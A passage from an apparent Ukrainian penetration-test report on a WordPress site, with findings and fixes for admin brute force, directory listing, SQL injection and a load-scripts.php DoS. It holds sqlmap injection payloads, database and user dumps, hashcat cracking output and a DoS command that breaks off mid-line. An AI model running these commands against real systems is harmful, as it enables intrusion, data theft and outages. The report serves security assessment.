- Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) Скріншот 1. Брутфорс сторінки авторизації WordPress в BurpSuite PRO. Вибір параметру $password для подальшої атаки методом перебору Sniper. 16 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 19. Скріншот 2. Запуск брутфорс атаки в Burpsuite PRO. Відстеження кодів відповіді сервера. Скріншот 3. Виявлено код відповіді 302 - передаресація в панель адміністрування CMS WordPress. Атака вдало завершена. Пароль успішно підібрано. 17 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 20. 18 ОПИС ТА ВПЛИВ АТАКИ З допомогою утиліти командого рядка WPScan виконано сканування CMS WordPress. Була успішно проведена енумерація компонентів і облікових записів сайту [domain]. Завдяки відкритому доступу до WP JSON API, вдалося ідентифікувати логіни користувачів. Серед них виявлено обліковий запис з правами адміністратора - admin. Його було взято за ціль. Скориставшись проксі-сканером Burp Suite, проведена брутфорс-атака з перебором паролів для облікового запису admin. У висновку, пароль було підібрано - він виявивився недостатньо стійким. Після цього було успішно здійснено вхід до панелі адміністрування WordPress. Отже, ця вразливість дає необмежений доступ до керування сайтом. Необхідно терміново вжити усіх необхідних заходів, щоби запобігти зламам, існують високі ризики цілісності та доступності ресурсу. РЕКОМЕНДАЦІЇ Змінити URL-адресу сторінки входу в адмін-панель. Наприклад, замість /wp-admin/ вказати /my-url/. Можна скористатися і готовим плагіном WPS Hide Login. Обмежити доступ до сторінки входу в адмін-панель - /wp-login.php. Можна включити на сервері httpasswd-авторизацію або активувати доступ лише для довіреного списку IP-адрес. Встановити плагін-файєрвол для WordPress, наприклад WordFence Security, який буде спрацьовувати при будь-яких несанкціонованих та підозрілих діях і блокуватиме токсичні запити. Інтегрувати двофакторну 2FA-авторизацію на сторінку входу (Google Authentificator) та інтегрувати форму захисту від ботів - Google reCaptcha. Обмежити кількість невдалих спроб входу в адмін-панель. Можна використати плагін Limit Login Attempts. Не використовувати обліковий запис з ім'ям admin. Повністю вилучити його з системи. Підбирати складні імена та надійні паролі - не менше 20 знаків верхнього та нижнього регістру, включаючи спецсимволи. Обмежити доступ до WP JSON API - /wp-json/wp/v2/users/?per_page=100&page=1 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 21. НАЗВА АТАКИ WORDPRESS DIRECTORY TRAVERSAL ATTACK РІВЕНЬ ЗАГРОЗИ LOW CVSS SCORE: 4.3 CWE-22, CWE- 538, CWE-548 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ wpscan --url [domain] --enumerate u,ap,vt,tt,cb,dbe,m --api-token xxxxxxxxx --random-user-agent _______________________________________________________________ __ _______ _____ / / __ / ____| / / /| |__) | (___ ___ __ _ _ __ ® / / / | ___/ ___ / __|/ _` | '_ / / | | ____) | (__| (_| | | | | / / |_| |_____/ ___|__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: [domain] [XXX.XX.XXX.XX] [+] Started: Tue Mar 7 14:58:50 2020 Interesting Finding(s): [+] Upload directory has listing enabled: https://[domain]/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% Скріншот 4. Вразлива сторінка сайту WordPress /wp-content/upload з лістингом (індексом) папок і файлів. 18 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 22. 19 ОПИС ТА ВПЛИВ АТАКИ В рамках сканування CMS WordPress на сайті [domain] виявлено доступні для зовнішнього Інтернету внутрішні директорії сайту. Будь-який відвідувач з допомогою браузера може переглядати приховані файли і папки сайту, переходити по службовим каталогам, переглядати їх вміст. Зловмисники можуть використати це для дослідження структури та ієрархії сайту, ідентифікувати системні компоненти, дізнатися розташування службових файлів, а у деяких випадках (за наявності супутніх вразливостей) отримати доступ до файлів за межами кореневого каталогу. Вразливість створює серйозні ризики конфіденційності. РЕКОМЕНДАЦІЇ Виставити коректні права доступу для вмісту WordPress: 644 - файли; 755 - папки. Обмежити доступ до системних директорій: /wp-content, /wp-includes, /uploads Перенести файл конфігурації WordPress /wp-config.php на один рівень вище у кореневій ієрархії сайту, призначити права доступу - 640. Відключити лістинг (індекс) директорій, додавши у файл .htaccess директиву: Options -Indexes Встановити файєрвол для WordPress - Wordfence Security і активувати блокування шкідливих навантажень. Додати HTTP-заголовки безпеки на сервері: X-Frame-Options, X-XSS-Protection, Strict-Transport- Security, X-Content-Type-Options, Content-Security-Policy 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 23. 20 НАЗВА АТАКИ SQL INJECTION ATTACK РІВЕНЬ ЗАГРОЗИ CRITICAL CVSS SCORE: 8.8 CAPEC-66 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ ffuf -u http://[domain.com]/wp- content/plugins/muscats/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web- Content/raft-medium-words-lowercase.txt -e .php,.html,.txt -mc 200 /'___ /'___ /'___ / __/ / __/ __ __ / __/ ,__ ,__/ / ,__ _/ _/ _ _/ _ _ ____/ _ /_/ /_/ /___/ /_/ v1.5.0 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://[domain]/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web- Content/raft-medium-words-lowercase.txt :: Extensions : .php .html .txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 ________________________________________________ ... post.php [Status: 200, Size: 39535, Words: 2304, Lines: 593, Duration: 7829ms] $ python3 xsstrike.py -u "http://[domain]" --crawl XSStrike v3.1.5 [~] Crawling the target ... [++] Vulnerable webpage: http://[domain]/wp- content/plugins/muscats/post.php $ python3 photon.py -u [domain] ____ __ __ / __ / /_ ____ / /_____ ____ / /_/ / __ / __ / __/ __ / __ / ____/ / / / /_/ / /_/ /_/ / / / / /_/ /_/ /_/____/__/____/_/ /_/ v1.3.2 [+] URLs retrieved from sitemap.xml: 2 [~] Level 1: 3 URLs [!] Progress: 3/3 [~] Level 2: 15 URLs [!] Progress: 15/15 [~] Crawling 0 JavaScript files -------------------------------------------------- [+] Files: 9 [+] Internal: 27 [+] External: 46 [+] Fuzzable: 1 -------------------------------------------------- [!] Total requests made: 19 [!] Total time taken: 0 minutes 19 seconds [!] Requests per second: 0 [+] Results saved in [domain] directory cat fuzzable.txt http://[domain]/wp-content/plugins/muscats/post.php? extension=menu&view=menu&parent= $ python3 sqlmap.py -u 'http://[domain]/wp- content/plugins/muscats/post.php? extension=menu&view=menu&parent=' --level=5 --risk=3 --random-agent -p parent --batch --current-db -- current-user --no-cast ___ __H__ ___ ___[)]_____ ___ ___ {1.7.4.6#dev} |_ -| . [,] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [*] starting @ 16:09:24 /2020-04-07/ [16:09:24] [INFO] fetched random HTTP User-Agent header value 'Opera/9.27 (Macintosh; Intel Mac OS X; U; sv)' from file '/root/sqlmap/data/txt/user- agents.txt' [16:09:24] [WARNING] provided value for parameter 'parent' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [16:09:25] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('***********************'). Do you want to use those [Y/n] Y [16:09:25] [INFO] checking if the target is protected by some kind of WAF/IPS [16:09:25] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS are you sure that you want to continue with further target testing? [Y/n] Y [16:09:25] [WARNING] please consider usage of tamper scripts (option '--tamper') [16:09:25] [INFO] testing if the target URL content is stable [16:09:25] [INFO] target URL content is stable [16:09:26] [WARNING] heuristic (basic) test shows that GET parameter 'parent' might not be injectable 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 24. 21 [16:09:26] [INFO] testing for SQL injection on GET parameter 'parent' [16:09:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [16:09:36] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [16:10:36] [INFO] GET parameter 'parent' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable [16:11:36] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [16:11:36] [INFO] testing 'MySQL >= 5.5 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [16:11:36] [INFO] testing 'MySQL >= 5.5 OR error- based - WHERE or HAVING clause (BIGINT UNSIGNED)' [16:11:36] [INFO] testing 'MySQL >= 5.5 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [16:11:36] [INFO] testing 'MySQL >= 5.5 OR error- based - WHERE or HAVING clause (EXP)' [16:11:37] [INFO] testing 'MySQL >= 5.6 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [16:11:37] [INFO] testing 'MySQL >= 5.6 OR error- based - WHERE or HAVING clause (GTID_SUBSET)' [16:11:37] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [16:11:37] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [16:11:37] [INFO] testing 'MySQL >= 5.0 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:11:38] [INFO] testing 'MySQL >= 5.0 OR error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:11:38] [INFO] testing 'MySQL >= 5.1 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [16:11:38] [INFO] testing 'MySQL >= 5.1 OR error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [16:11:38] [INFO] testing 'MySQL >= 5.1 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [16:11:38] [INFO] testing 'MySQL >= 5.1 OR error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [16:11:39] [INFO] testing 'MySQL >= 4.1 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:11:39] [INFO] testing 'MySQL >= 4.1 OR error- based - WHERE or HAVING clause (FLOOR)' [16:11:39] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [16:11:39] [INFO] testing 'MySQL >= 5.1 error- based - PROCEDURE ANALYSE (EXTRACTVALUE)' [16:11:39] [INFO] testing 'MySQL >= 5.5 error- based - Parameter replace (BIGINT UNSIGNED)' [16:11:39] [INFO] testing 'MySQL >= 5.5 error- based - Parameter replace (EXP)' [16:11:39] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [16:11:39] [INFO] testing 'MySQL >= 5.7.8 error- based - Parameter replace (JSON_KEYS)' [16:11:37] [INFO] testing 'MySQL >= 5.0 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:11:38] [INFO] testing 'MySQL >= 5.0 OR error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:11:38] [INFO] testing 'MySQL >= 5.1 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [16:11:38] [INFO] testing 'MySQL >= 5.1 OR error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [16:11:38] [INFO] testing 'MySQL >= 5.1 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [16:11:38] [INFO] testing 'MySQL >= 5.1 OR error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [16:11:39] [INFO] testing 'MySQL >= 4.1 AND error- based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [16:11:39] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [16:11:39] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [16:11:39] [INFO] testing 'Generic inline queries' [16:11:40] [INFO] testing 'MySQL inline queries' [16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [16:11:40] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [16:11:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [16:11:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' [16:11:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' [16:11:41] [INFO] testing 'MySQL >= 5.0.12 AND time- based blind (query SLEEP)' [16:11:46] [INFO] testing 'MySQL >= 5.0.12 OR time- based blind (query SLEEP)' [16:13:43] [INFO] testing 'MySQL >= 5.0.12 AND time- based blind (SLEEP)' [16:13:43] [INFO] testing 'MySQL >= 5.0.12 OR time- based blind (SLEEP)' [16:14:13] [INFO] testing 'MySQL >= 5.0.12 AND time- based blind (SLEEP - comment)' [16:14:13] [INFO] testing 'MySQL >= 5.0.12 OR time- based blind (SLEEP - comment)' [16:14:43] [INFO] testing 'MySQL >= 5.0.12 AND time- based blind (query SLEEP - comment)' [16:14:48] [INFO] testing 'MySQL >= 5.0.12 OR time- based blind (query SLEEP - comment)' [16:16:55] [INFO] testing 'MySQL < 5.0.12 AND time- based blind (BENCHMARK)' [16:17:00] [INFO] testing 'MySQL > 5.0.12 AND time- based blind (heavy query)' 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 25. 22 [16:17:30] [INFO] testing 'MySQL < 5.0.12 OR time- based blind (BENCHMARK)' [16:17:35] [INFO] testing 'MySQL > 5.0.12 OR time- based blind (heavy query)' [16:18:05] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)' [16:18:11] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query - comment)' [16:18:41] [INFO] testing 'MySQL < 5.0.12 OR time- based blind (BENCHMARK - comment)' [16:18:46] [INFO] testing 'MySQL > 5.0.12 OR time- based blind (heavy query - comment)' [16:19:16] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind' [16:19:46] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)' [16:20:16] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)' [16:20:23] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)' [16:20:30] [INFO] testing 'MySQL AND time-based blind (ELT)' [16:20:30] [INFO] testing 'MySQL OR time-based blind (ELT)' [16:21:00] [INFO] testing 'MySQL AND time-based blind (ELT - comment)' [16:21:00] [INFO] testing 'MySQL OR time-based blind (ELT - comment)' [16:21:30] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)' [16:21:31] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)' [16:21:32] [INFO] testing 'MySQL >= 5.0.12 time- based blind - Parameter replace' [16:21:32] [INFO] testing 'MySQL >= 5.0.12 time- based blind - Parameter replace (substraction)' [16:21:32] [INFO] testing 'MySQL < 5.0.12 time- based blind - Parameter replace (BENCHMARK)' [16:21:32] [INFO] testing 'MySQL > 5.0.12 time- based blind - Parameter replace (heavy query - comment)' [16:21:32] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)' [16:21:32] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)' [16:21:32] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)' [16:21:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [16:21:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [16:21:37] [INFO] target URL appears to be UNION injectable with 8 columns [16:21:38] [INFO] GET parameter 'parent' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable [16:21:38] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop- set-cookie' if you experience any problems during data retrieval [16:21:38] [WARNING] applying generic concatenation (CONCAT) GET parameter 'parent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 167 HTTP(s) requests: --- Parameter: parent (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: extension=menu&view=menu&parent=-9510" OR 7370=7370-- fkxy Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: extension=menu&view=menu&parent=" UNION ALL SELECT NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474f5 7415a725a676f46626252644d69584a6b67586f6754685565666 d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [16:21:38] [INFO] testing MySQL [16:21:38] [INFO] confirming MySQL [16:21:39] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) [16:21:39] [INFO] fetching current user current user: 'rollocaster@localhost' [16:21:39] [INFO] fetching current database current database: 'rollsenroys' [16:21:39] [WARNING] HTTP error codes detected during run: 403 (Forbidden) - 1 times [16:21:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/[domain]' [*] ending @ 16:21:39 /2020-04-07/ $ python3 sqlmap.py -u 'http://[domain]/wp- content/plugins/muscats/post.php? extension=menu&view=menu&parent=' -D rollsenroys -- tables --random-agent -o [*] starting @ 16:29:00 /2020-04-07/ [16:29:00] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)' from file '/root/sqlmap/data/txt/user-agents.txt' [16:29:00] [WARNING] provided value for parameter 'parent' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [16:29:00] [INFO] resuming back-end DBMS 'mysql' [16:29:00] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('**********************'). Do you want to use those [Y/n] Y [16:29:05] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [16:29:05] [INFO] testing NULL connection to the target URL [16:29:05] [INFO] NULL connection is supported with GET method ('Range') 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 26. 23 sqlmap resumed the following injection point(s) from stored session: --- Parameter: parent (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: extension=menu&view=menu&parent=-9510" OR 7370=7370-- fkxy Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: extension=menu&view=menu&parent=" UNION ALL SELECT NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474 f57415a725a676f46626252644d69584a6b67586f675468556 5666d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NUL L-- - --- [16:29:05] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 (MariaDB fork) [16:29:05] [INFO] fetching tables for database: 'rollsenroys' Database: rollsenroys [85 tables] +--------------------------------------+ | roll_posts | | roll_components | | roll_groups | | roll_terms | | roll_tags | | roll_messages | | roll_modules | | roll_plugins | | roll_newsfeeds | | roll_options | | roll_usermeta | | roll_users | | roll_weblinks | | ... | +--------------------------------------+ [*] ending @ 16:29:06 /2020-04-07/ $ python3 sqlmap.py -u 'http://[domain]/wp- content/plugins/muscats/post.php? extension=menu&view=menu&parent=' -D rollsenroys - T roll_users --columns --random-agent -o [*] starting @ 17:01:05 /2020-04-07/ [17:01:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; en- US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox)' from file '/root/sqlmap/data/txt/user- agents.txt' [17:01:05] [WARNING] provided value for parameter 'parent' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [17:01:05] [INFO] resuming back-end DBMS 'mysql' [17:01:05] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('*******************************'). Do you want to use those [Y/n] Y [17:01:07] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS sqlmap resumed the following injection point(s) from stored session: --- Parameter: parent (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: extension=menu&view=menu&parent=-9510" OR 7370=7370-- fkxy Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: extension=menu&view=menu&parent=" UNION ALL SELECT NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474f5 7415a725a676f46626252644d69584a6b67586f6754685565666 d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [17:01:07] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 (MariaDB fork) [17:01:07] [INFO] fetching columns for table 'hcds_users' in database 'rollsenroys' Database: rollsenroys Table: roll_users [14 columns] +---------------+---------------------+ | Column | Type | +---------------+---------------------+ | block | tinyint(4) | | name | varchar(255) | | password | varchar(100) | | activation | varchar(100) | | email | varchar(100) | | gid | tinyint(3) unsigned | | id | int(11) | | lastvisit | datetime | | lastvisitDate | datetime | | params | text | | registerDate | datetime | | sendEmail | tinyint(4) | | username | varchar(150) | | usertype | varchar(25) | +---------------+---------------------+ [*] ending @ 17:01:08 /2020-04-07/ $ python3 sqlmap.py -u 'http://[domain]/wp- content/plugins/muscats/post.php? extension=menu&view=menu&parent=' -D rollsenroys -T roll_users --dump --random-agent -o [*] starting @ 17:08:04 /2020-04-07/ [17:08:04] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E)' from file '/root/sqlmap/data/txt/user-agents.txt' [17:08:04] [WARNING] provided value for parameter 'parent' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 27. 24 [17:08:04] [INFO] resuming back-end DBMS 'mysql' [17:08:04] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('*********************************'). Do you want to use those [Y/n] Y [17:08:07] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS sqlmap resumed the following injection point(s) from stored session: --- Parameter: parent (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: extension=menu&view=menu&parent=-9510" OR 7370=7370-- fkxy Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: extension=menu&view=menu&parent=" UNION ALL SELECT NULL,CONCAT(0x717a627071,0x4b78757364726f5a6c70474 f57415a725a676f46626252644d69584a6b67586f675468556 5666d4c,0x7171626271),NULL,NULL,NULL,NULL,NULL,NUL L-- ---- [17:08:07] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 (MariaDB fork) [17:08:07] [INFO] fetching columns for table 'roll_users' in database 'rollsenroys' [17:08:07] [INFO] fetching entries for table 'hcds_users' in database 'rollsenroys' [17:08:10] [INFO] recognized possible password hashes in columns 'activation, `password`' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [17:08:27] [INFO] writing hashes to a temporary file '/tmp/sqlmXXXXXXX/sqlmaphashes-XXXXX.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] n Database: rollsenroys Table: roll_users [1265 entries] [17:08:33] [WARNING] console output will be trimmed to last 256 rows due to large table size | 20619 | 18 | admin_lk@gmail.com | Roll | 0 | fandom | Administrator | 0000-00-00 00:00:00 | 0 | **************:***************************** | < ... [17:08:34] [INFO] table 'rollsenroys.roll_users' dumped to CSV file '/root/.local/share/sqlmap/output/[domain]/dump/ro llsenroys/roll_users.csv' [17:08:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/[domain]' [*] ending @ 17:08:34 /2020-04-07/ $ hashcat -m10 -a0 hash.txt ~/hashkiller-dict.txt hashcat (v6.2.5) starting CUDA API (CUDA 11.4) ==================== * Device #1: NVIDIA GeForce 940MX, 1979/2004 MB, 3MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimim salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Early-Skip * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 52 MB Dictionary cache hit: * Filename..: ~/hashkiller-dict.txt * Passwords.: 237082819 * Bytes.....: 2653699494 * Keyspace..: 237082819 **************:*****************************:passw0r d Session..........: hashcat Status...........: Cracked Hash.Mode........: 10 (md5($pass.$salt)) Hash.Target......: **************:***************************** Time.Started.....: Mon Apr 07 14:51:02 2020 (31 secs) Time.Estimated...: Mon Apr 07 14:51:33 2020 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (~/hashkiller-dict.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 3064.7 kH/s (5.92ms) @ Accel:1024 Loops:1 Thr:64 Vec:1 Recovered........: 1/1 (100.00%) Digests Progress.........: 92798976/237082819 (39.14%) Rejected.........: 0/92798976 (0.00%) Restore.Point....: 92602368/237082819 (39.06%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0- 1 Candidate.Engine.: Device Generator Candidates.#1....: e6b738ec -> wugydumy Hardware.Mon.#1..: Temp: 53c Util: 45% Core:1084MHz Mem:2505MHz Bus:4 Started: Mon Apr 07 14:51:01 2020 Stopped: Mon Apr 07 14:51:34 2020 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 28. 25 ОПИС ТА ВПЛИВ АТАКИ З допомогою утиліт командного рядка Linux (XSStrike, FFUFF, Photon) сайт [domain] було проскановано на приховані, службові, технічні та динамічні URL-адреси. Виявлено файл з розширенням .php, вразливий до SQL-ін'єкції. З ним була проведена окрема робота - здійснено перебір динамічних параметрів і значень. В результаті, виявлено вразливий параметр URL - 'parent'. Для експлуатації вразливості обрано окремий інструмент - SQLmap. Завдяки йому, вдалося визначити тип і версію бази даних MySQL та підібрати вдалу комбінацію UNION-запитів для проведення SQL- ін'єкції. Вдалося спарсити всі таблиці бази даних сайту [domain] та зробити дамп. В таблиці з обліковими записами користувачів були знайдені логіни та паролі входу на сайт. Паролі були зашифровані в MD5, проте з допомогою утиліти HashCat вдалося їх успішно дехешувати. Таким чином, був отриманий доступ до панелі адміністрування сайтом, по-суті проведений злам через SQL-ін'єкцію. Це створює величезні ризики, адже зловмисники можуть переглядати та модифікувати інформацію на сайті через базу даних. Також зроблені дампи бази даних можуть продавати на тіньових форумах в даркнеті. РЕКОМЕНДАЦІЇ Налаштувати валідацію, фільтрацію, санітизацію всіх запитів по HTTP-протоколу. Перевіряти надіслані/введені дані користувачами на наявність шкідливого коду та навантажень. Встановити заборону на використання деяких слів та символів, які можуть спричинити помилки бази даних або SQL-ін'єкцію (наприклад, ' " $ ). Додати необхідні HTTP-заголовки безпеки на сайт. Встановити файєрвол на боці сервера і на самому сайті. Можна скористатися CDN Cloudflare. Провести комплексну перевірку і конфігурацію безпеки MySQL. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 29. НАЗВА АТАКИ WORDPRESS DOS ATTACK РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.5 CVE-2018-6389 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ python3 doser.py -g 'http://[domain]/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp- a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp- pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous- builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous- sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui- core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects- drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery- effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects- size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui- button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui- menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui- selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui- tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery- serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch- punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload- handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment- repl,json2,underscore,backbone,wp-util,wp-sanitize,wp- backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement- vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code- editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language- chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize- base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize- selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview- nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media- 